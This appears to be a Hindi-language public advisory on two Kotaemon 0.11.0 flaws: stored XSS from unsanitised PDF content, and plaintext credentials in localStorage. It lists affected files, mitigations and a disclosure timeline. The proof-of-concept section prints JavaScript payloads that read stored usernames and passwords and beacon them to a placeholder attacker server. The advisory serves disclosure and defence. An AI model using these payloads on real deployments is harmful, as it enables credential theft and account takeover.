
CVE-2025-56526 और CVE-2025-56527 के लिए सार्वजनिक प्रकटीकरण — Kotaemon 0.11.0 में अनसैनिटाइज़्ड PDF सामग्री रेंडरिंग के माध्यम से स्टोर्ड XSS और प्लेनटेक्स्ट क्रेडेंशियल एक्सपोज़र। पूर्ण तकनीकी विश्लेषण, PoC, प्रभाव मूल्यांकन और जिम्मेदार प्रकटीकरण समयरेखा शामिल है।
Kotaemon सूचना पैनल में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग,
localStorageमें प्लेनटेक्स्ट क्रेडेंशियल भंडारण के साथ मिलकर, एक ही दुर्भावनापूर्ण PDF अपलोड से पूर्ण सत्र समझौता करने में सक्षम बनाती है।
<= 0.11.0 (कमिट 37cdc28 सहित)CVE-2025-56526 – अस्वच्छित PDF सामग्री रेंडरिंग के माध्यम से संग्रहीत XSSCVE-2025-56527 – localStorage में प्लेनटेक्स्ट उपयोगकर्ता नाम/पासवर्ड भंडारण| CVE ID | कमजोरी | CWE | प्राथमिक प्रभाव |
|---|---|---|---|
| CVE-2025-56526 | PDF-व्युत्पन्न HTML के माध्यम से संग्रहीत XSS | CWE-79 | मनमाना JavaScript निष्पादन, डेटा बहिर्गमन |
| CVE-2025-56527 | प्लेनटेक्स्ट क्रेडेंशियल भंडारण | CWE-922 | क्रेडेंशियल प्रकटीकरण, सत्र अपहरण |
PDF निष्कर्षण परिणाम (पाठ, तालिका मार्कअप, छवि मेटाडेटा) बिना एस्केप किए DOM में इंजेक्ट किए जाते हैं। इसलिए एक दुर्भावनापूर्ण PDF मनमाना HTML/JS ले जा सकती है, जो जब भी सूचना पैनल या तर्क दृश्य retrieved_content रेंडर करते हैं, चलता है।
प्रभावित कोड पथों में शामिल हैं:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (table / image रेंडरिंग)libs/ktem/ktem/reasoning/simple.py और libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStorage में प्लेनटेक्स्ट क्रेडेंशियल भंडारणlibs/ktem/ktem/pages/login.py libs/ktem/ktem/assets/js/main.js के साथ मिलकर कच्चे क्रेडेंशियल्स को सीधे localStorage में संग्रहीत और पुनर्प्राप्त करता है:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
XSS वेक्टर के माध्यम से निष्पादित कोई भी JavaScript इन मानों को तुरंत पढ़ सकता है, जिसके परिणामस्वरूप विश्वसनीय क्रेडेंशियल चोरी और दीर्घकालिक खाता अधिग्रहण होता है।
alt विशेषता या टेक्स्ट ऑब्जेक्ट के अंदर): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password जोड़े किसी भी इंजेक्टेड स्क्रिप्ट के सामने उजागर हो जाते हैं।Kotaemon अक्सर स्थानीय या उद्यम वातावरण में तैनात किया जाता है जहां उपयोगकर्ता संवेदनशील आंतरिक दस्तावेज़ अपलोड करते हैं। चूंकि PDF-व्युत्पन्न सामग्री बिना स्वच्छीकरण के DOM में डाली जाती है, एक हमलावर सामान्य दिखने वाले व्यावसायिक दस्तावेज़ के अंदर दुर्भावनापूर्ण पेलोड छिपा सकता है।
जब पीड़ित इस दस्तावेज़ को अपलोड करता है और देखता है, तो छिपा हुआ JavaScript स्वचालित रूप से निष्पादित होता है, localStorage से क्रेडेंशियल्स चुराता है और निजी चैट लॉग तथा दस्तावेज़ सामग्री को उजागर करता है।
यद्यपि ट्रिगर उपयोगकर्ता-आरंभित प्रतीत होता है, यह self-XSS नहीं है। मूल कारण अपलोड की गई फ़ाइलों से निकाले गए HTML को स्वच्छ करने में सर्वर-पक्षीय विफलता है, जो विश्वसनीय UI घटकों के अंदर संग्रहीत XSS को सक्षम बनाती है।
परिणामस्वरूप, यथार्थवादी सामाजिक इंजीनियरिंग परिदृश्यों में एक एकल दुर्भावनापूर्ण PDF पूर्ण खाता समझौते का कारण बन सकती है।
html.escape, DOMPurify, या DOM सिंक के लिए Trusted Types)।script-src 'self') और Trusted Types तैनात करें।screenshots/)







यह सार्वजनिक परामर्श उद्योग-मानक जिम्मेदार खुलासा प्रथाओं का पालन करता है:
Kotaemon (<= 0.11.0) के उपयोगकर्ताओं को सुरक्षा सुधार उपलब्ध होने तक निम्नलिखित पर विचार करना चाहिए:
[email protected]